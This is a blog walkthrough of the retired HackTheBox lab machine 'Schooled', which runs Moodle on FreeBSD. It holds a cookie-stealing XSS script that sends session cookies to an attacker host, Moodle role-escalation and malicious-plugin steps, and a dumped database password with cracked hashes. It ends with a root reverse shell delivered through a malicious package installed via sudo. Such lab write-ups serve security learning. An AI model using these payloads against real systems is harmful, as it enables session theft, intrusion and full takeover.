HackTheBox: Schooled | My Journey

Yudistira Arya
7 min readSep 12, 2021


Schooled is one of the HackTheBox machine that run on FreeBSD Operating System. The machine was retired now so i can publish my journey to pwned this machine. Let’s started!


First of all, i always doing port scanning using nmap

sudo nmap -sV -sC -sS -A schooled.htb                                                Host is up (0.28s latency).Not shown: 998 closed portsPORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)| ssh-hostkey:|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)80/tcp open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)Aggressive OS guesses: FreeBSD 12.0-RELEASE - 13.0-CURRENT (95%), FreeBSD 11.2-RELEASE - 11.3 RELEASE or 11.2-STABLE (92%), FreeBSD 11.1-RELEASE (92%), Android 4.0.1 - 4.0.4 (Linux 3.0) (91%), FreeBSD 11.0-RELEASE (91%), D-Link DIR-300 WAP (90%), Thecus 4200 or N5500 NAS device (Linux 2.6.33) (90%), FreeBSD 9.1-STABLE (90%), FreeBSD 12.0-RELEASE (90%), Linux 3.1 (90%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

There are port 80 open so it must be an web server. Let’s lists for all possible directories using dirsearch.

python tools/dirsearch/dirsearch.py -u                               Target:[15:48:57] Starting:[15:49:06] 301 -  231B  - /js  ->[15:49:14] 403 -  199B  - /.htaccess.bak1[15:49:14] 403 -  199B  - /.ht_wsr.txt[15:49:15] 403 -  199B  - /.htaccess.orig[15:49:15] 403 -  199B  - /.html[15:49:15] 403 -  199B  - /.htaccessOLD2[15:49:15] 403 -  199B  - /.htaccess_orig[15:49:15] 403 -  199B  - /.htaccess_sc[15:49:15] 403 -  199B  - /.htpasswd_test[15:49:15] 403 -  199B  - /.htaccess.save[15:49:15] 403 -  199B  - /.htpasswds[15:49:15] 403 -  199B  - /.htaccessOLD[15:49:15] 403 -  199B  - /.htaccessBAK[15:49:15] 403 -  199B  - /.htm[15:49:15] 403 -  199B  - /.htaccess_extra[15:49:15] 403 -  199B  - /.htaccess.sample[15:49:15] 403 -  199B  - /.httr-oauth[15:50:11] 200 -   17KB - /about.html[15:51:06] 200 -   11KB - /contact.html[15:51:10] 301 -  232B  - /css  ->[15:51:23] 301 -  234B  - /fonts  ->[15:51:30] 301 -  235B  - /images  ->[15:51:30] 200 -    2KB - /images/[15:51:32] 200 -   20KB - /index.html[15:51:35] 200 -  522B  - /js/Task Completed

After testing for all functionalities from that webpage and see the result of dirsearch, i can’t find anything usefull execpt the information that Lianne Carter is an Manager on this site.

The last thing to do it subdomain enumeration. I use ffuf to search possible subdomain which look like this.

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -u http://schooled.htb -H "Host: FUZZ.schooled.htb" -fl "462"moodle                  [Status: 200, Size: 84, Words: 5, Lines: 2, Duration: 1056ms]

get → http://moodle.schooled.htb

I create account on that moodle site with @student.schooled.htb mail domain and test for all functionality until i found that i can join to Mathematics courses. There are interesting anouncement from the lecturer.


This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.

Students who do not set their MoodleNet profiles will be removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.

Look forward to seeing you all soon.

Manuel Phillips

From that anouncement, maybe the lecturer always checking user’s MoodleNet profile? if so, then we must doing some xss for stealing his cookie right?

Let’s enum the moodle version using HackTricks article below


After doing the moodle enumeration, i knew that moodle version is arround 3.10.0-Beta

From this security report i know that moodle version 3.9 are vulnerable to xss attack on MoodleProfile form. That what we needed!

Yeayy, it works!

so we could inject cookie-stealer to that pages.

Make an javascript file called cookie.js that contains code below.

const cookie = document.cookieconst xhttp = new XMLHttpRequest();const url = "http://10.10.xx.xx"xhttp.open("GET", `${url}/${cookie}`, true);xhttp.send();

using python http.server to serve the payload on local machine.

sudo python3 -m http.server 80

and use this xss payload for execute our javascript file before.

<script src="http://10.10.xx.xx/cookie.js"></script>

Great, got teacher session id. Now change the MoodleSession into teacher session and you’ll login as Manuel Philips immediately!

Privilege escalation to manager

Found interesting privilege escalation method from this security report or CVE-2020–25629.

Time to exploit!

First of all, turn on your burp. then check our user’s id

go to our courses (Mathematics) then click enroll users

add the manager account that we’ve found earlier from http://schooled.htb/teachers.html

turn on intercept in burp then click Enrol users and then send it to repeater. After that, just disable intercept so the request will be continued

on the repeater, change the user id (25) to our id (24) and change roletoassign value into 1 (this will add our account as manager) then send the request.

after that, go back to the course page and you’ll see that manager roles was added into our account.

then click on the real manager account name

and you’ll see this interesting function. just click it.

after that, go to the site administration menu > Users > Define roles

Click Manager Role

then click on Edit

Turn back your intercepet in burp and then click Save changes

you’ll see a lot of data there. Using this payload, replace the body from the request.


then forward the request.

RCE Parts.

go to Site Administration > Plugins > Install plugins

then upload .zip code from the same repo. or you can add your own payload (recomended using pentestmonkey php reverse shell) and compress it into zip files.



after that, just click install plugin

then go to this url


or for alternative way, you can just use the script from same repositories

at the end, you can get reverse shell (depend what payload that you uploaded before).

trying curl for transfering linpeas into the machine but it said not found. Hmm…

after searching for the program manually, it located in /usr/local/bin/curl but it didnt reconigzed as a command. so that directory definitely was not in PATH variable.

find / -name "curl" 2>/dev/null
find / -name "python*" 2>/dev/null
#add it to path variable
export PATH=$PATH:/usr/local/bin/
python3 -c "import pty;pty.spawn('/bin/bash')"
# and we have interactive shell right now

After running linpeas, i found interesting file here

mysql -u moodle -p'PlaybookMaster2020'select username,password from mdl_user;
| username | password | guest | $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 || admin | $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW || bell_oliver89 | $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK || orchid_sheila89 | $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC |

the admin account was suspicious. let’s crack it

# add the password hash into file called "hash" then execute command bellowhashcat -m 3200 hash /usr/share/wordlists/rockyou.txt$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx


because there are 2 users, jamie and steve, so i try the password for both account and the password succeed on jamie account.

user: jamie
pass: !QAZ2wsx

Root Privilege Escalation

Same as before, i add new path variable then run sudo -l for seeing available command that can be run with sudo.

jamie@Schooled:~ $ export PATH=$PATH:/usr/local/bin/jamie@Schooled:~ $ sudo -lUser jamie may run the following commands on Schooled:(ALL) NOPASSWD: /usr/sbin/pkg update(ALL) NOPASSWD: /usr/sbin/pkg install *

Found the exploit here : https://gtfobins.github.io/gtfobins/pkg/

#on host
gem install fpm
TF=$(mktemp -d)
echo '<python reverse shell here>' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
sudo python3 -m http.server 80
#dont forget to run netcat listener also for reverse shell#on target
curl <ip>/x-1.0.txz > x.txz
sudo /usr/sbin/pkg install -y --no-repo-update ./x.txz

And boom, you got revshell as root.


This machine definetely teach me a lot especially for subdomain enumeration and finding the right security report / cve.

Thanks for reading, if you want to reach me, you can send a message to my Telegram Account Here.